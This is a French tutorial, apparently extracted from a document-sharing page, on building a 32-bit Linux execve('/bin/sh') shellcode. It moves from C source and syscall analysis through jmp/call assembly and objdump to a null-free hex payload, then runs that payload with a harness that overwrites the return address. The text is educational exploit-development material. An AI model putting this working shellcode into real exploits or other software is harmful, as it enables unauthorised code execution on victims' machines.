1 shellcode

publicité
1er shellcode
Pour créer notre shellcode, nous allons suivre les différentes étapes déjà explicitées dans le document précédent
« BytecodeDefrichage.pdf ».
Sommaire
a.
Le shellcode écrit en langage C ................................................................................................................................. 2
b.
Prototype et numéro des appels systèmes utiles ..................................................................................................... 3
c.
Code assembleur & Test du programme compilé .................................................................................................... 5
d.
Desassemblage & Création du shellcode .................................................................................................................. 6
e.
Test d’exécution du shellcode par un programme tiers ........................................................................................... 7
a. Le shellcode écrit en langage C
Le code C :
flo@kali:~$ cat shell.c
#include <stdio.h>
#include <unistd.h>
int main()
{
char * param[] = {"/bin/sh", NULL};
execve(param[0], param, NULL);
return 0;
}
Lire le man de la fonction « execve ».
Exceptionnellement, son prototype sera expliqué dans la partie suivante, car « execve » est déjà un appel système.
On compile et on teste le programme :
flo@kali:~$ gcc -fno-stack-protector shell.c -o shell --static
$ whoami
flo
$ pwd
/home/flo
$
Remarque : execve est un véritable appel système, contrairement aux autres fonctions de la famille exec(), qui sont
en réalité des fonctions de bibliothèque GlibC construites autour de execve().
b. Prototype et numéro des appels systèmes utiles
Numéro de l’appel système execve :
flo@kali:~$ cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep execve
#define __NR_execve 11
Prototype de l’appel système execve :
flo@kali:~$ strace ./shell | grep execve
execve("./shell", ["./shell"], [/* 29 vars */]) = 0 // Exécution du binaire ./shell
…
execve("/bin/sh", ["/bin/sh"], [/* 0 vars */]) = 0 // Exécution du script « /bin/sh »
…
Extrait de son man :
NAME
execve - execute program
SYNOPSIS
#include <unistd.h>
int execve(const char *filename, char *const argv[], char *const envp[]);
(En français : http://manpagesfr.free.fr/man/man2/execve.2.html )
L’appel système execve exécute
exécutable, soit un script.
le
programme
pointé
par
filename,
qui
est
soit
un binaire
Il utilise 3 arguments :

Le 1er argument « char *filename », est l’adresse du programme à exécuter.

Le 2ème argument « char *argv[] » est un array d’arguments de type strings, passé au
nouveau programme. Par convention, le premier argument doit être le filename associé au
file exécuté.

Le 3ème argument « char *envp[] » ne nous sera pas utile ici. C’est un array de strings
passé au nouveau programme comme environnement (variable d’environnement PATH, etc.).
argv ainsi que envp doivent se terminer par un pointeur NULL.
Les arguments et l'environnement sont accessibles par le nouveau programme dans sa fonction
principale, lorsqu'elle est définie comme : int main(int argc, char *argv[], char *envp[]).
En cas de réussite, execve() ne revient pas à l'appelant, et les segments de texte, de données
(« data » et « bss »), ainsi que la pile du processus appelant sont remplacés par ceux du
programme chargé.
En cas d'échec il renvoie -1 et errno contient le code d'erreur.
Voyons tout cela avec gdb :
ATTENTION : Ce qui nous intéresse est le code assembleur de l’appel système execve, et non celui de la fonction
wrapper execve ! Nous exécuterons donc le programme jusqu’à l’interruption « int $0x80 » de execve, et non
jusqu’à « call 0x804f770 <execve> » du main.
[-------------------------------------code-------------------------------------]
=> 0x804f782 <execve+18>: int
$0x80
[----------------------------------registers-----------------------------------]
EAX: 0xb ('\x0b')
EBX: 0x80aafe8 ("/bin/sh")
ECX: 0xbffff4f8 --> 0x80aafe8 ("/bin/sh")
EDX: 0x0
EAX contient le numéro de l’appel système « 0xb » i.e. « 11 »
EBX contient le premier argument de execve, soit « addr /bin/sh »
ECX contient l’adresse vers l’array des arguments { addr /bin/sh , NULL},
EDX contient NULL.
Notre code assembleur va donc :
1) Ecrire la chaîne « /bin/sh » en mémoire, puis récupérer son adresse grâce à l’astuce « jmp/call ».
2) Construire l’array des arguments, dans la pile.
3) Remplir les registres EAX, EBX, ECX, EDX comme indiqués ci-dessus.
On souhaite arriver au schéma suivant :
Les deux liens ci-dessus indiquent des schémas différents :
http://www.cgsecurity.org/Articles/SecProg/Art2/index-fr.html
http://gits.hydraze.org/article-5-les-shellcodes.html#p2ii
http://www.bases-hacking.org/afficher-shell.html
c. Code assembleur & Test du programme compilé
flo@kali:~$ cat shellAsm.s
.text # Directive assembeur pour décrire le segment ".text".
.global _start # Directive assembleur rendre le symbole "_start" visible pour l'éditeur de lien
_start :
/* Les registres utilisés sont mis à zéro (en évitant les 0). */
xorl %eax,%eax
xorl %ebx,%ebx
xorl %ecx,%ecx
xorl %edx,%edx # EDX : 0
pushl %edx # « 0 » pushé dans la pile
/* Avant d'exécuter "hackingCode", on empile le pointeur vers la chaine "/bin/sh" */
jmp goToCall
hackingCode:
movl (%esp),%ebx
movl %esp,%edx
# EBX : addr de "/bin/sh"
# ECX : addr addr de "/bin/sh"
movb $0xb,%al
int $0x80
# EAX : 11
# Appel de execve
exit :
/* Les registres utilisés sont mis à zéro (en évitant les 0). */
xorl %eax,%eax
xorl %ebx,%ebx
/* On a initialise le registre EAX (EBX déjà a 0) */
movb $0x1,%al
int $0x80 # Appel de _exit
goToCall:
call hackingCode
.string "/bin/sh"
# « addr de "/bin/sh" » pushé dans la pile
Test de notre code assembleur :
flo@kali:~$ as shellAsm.s -o shellAsm.o
flo@kali:~$ ld shellAsm.o -o shellAsm
flo@kali:~$ ./shellAsm
$ whoami
flo
$ pwd
/home/flo
$ exit
flo@kali:~$
Remarque importante : La chaîne "/bin/sh" est écrite à la suite – donc au même endroit mémoire – que les
instructions du shellcode.
d. Desassemblage & Création du shellcode
flo@kali:~$ objdump --disassemble shellAsm
shellAsm:
file format elf32-i386
Disassembly of section .text:
08048054 <_start>:
8048054:
31 c0
8048056:
31 db
8048058:
31 c9
804805a:
31 d2
804805c:
52
804805d:
eb 11
xor
xor
xor
xor
push
jmp
%eax,%eax
%ebx,%ebx
%ecx,%ecx
%edx,%edx
%edx
8048070 <goToCall>
0804805f <hackingCode>:
804805f:
8b 1c 24
8048062:
89 e2
8048064:
b0 0b
8048066:
cd 80
mov
mov
mov
int
(%esp),%ebx
%esp,%edx
$0xb,%al
$0x80
08048068 <exit>:
8048068:
31 c0
804806a:
31 db
804806c:
b0 01
804806e:
cd 80
xor
xor
mov
int
%eax,%eax
%ebx,%ebx
$0x1,%al
$0x80
08048070 <goToCall>:
8048070:
e8 ea ff ff ff
8048075:
2f
8048076:
62 69 6e
8048079:
2f
804807a:
73 68
call
das
bound
das
jae
804805f <hackingCode>
%ebp,0x6e(%ecx)
80480e4 <goToCall+0x74>
Creation du shellcode :
flo@kali:~$ for i in `objdump -d shellAsm| tr '\t' ' ' | tr ' ' '\n' | egrep '^[0-9a-f]{2}$' ` ;
do echo -n "\\x$i" ; done ;
\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x52\xeb\x11\x8b\x1c\x24\x89\xe2\xb0\x0b\xcd\x80\x31\xc0\x31\xdb
\xb0\x01\xcd\x80\xe8\xea\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68
e. Test d’exécution du shellcode par un programme tiers
flo@kali:~$ cat testShellcode.c
char bytecode[] =
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x52\xeb\x11\x8b\x1c\x24\x89\xe2\xb0\x0b\xcd\x80\x31\xc0\x31\xd
b\xb0\x01\xcd\x80\xe8\xea\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
int main() {
int * ret ;
ret = (int*)&ret + 2;
(*ret) = (int) bytecode;
}
flo@kali:~$ gcc testShellcode.c -o testShellcode
flo@kali:~$ ./testShellcode
$ whoami
flo
$ exit
flo@kali:~$
Téléchargement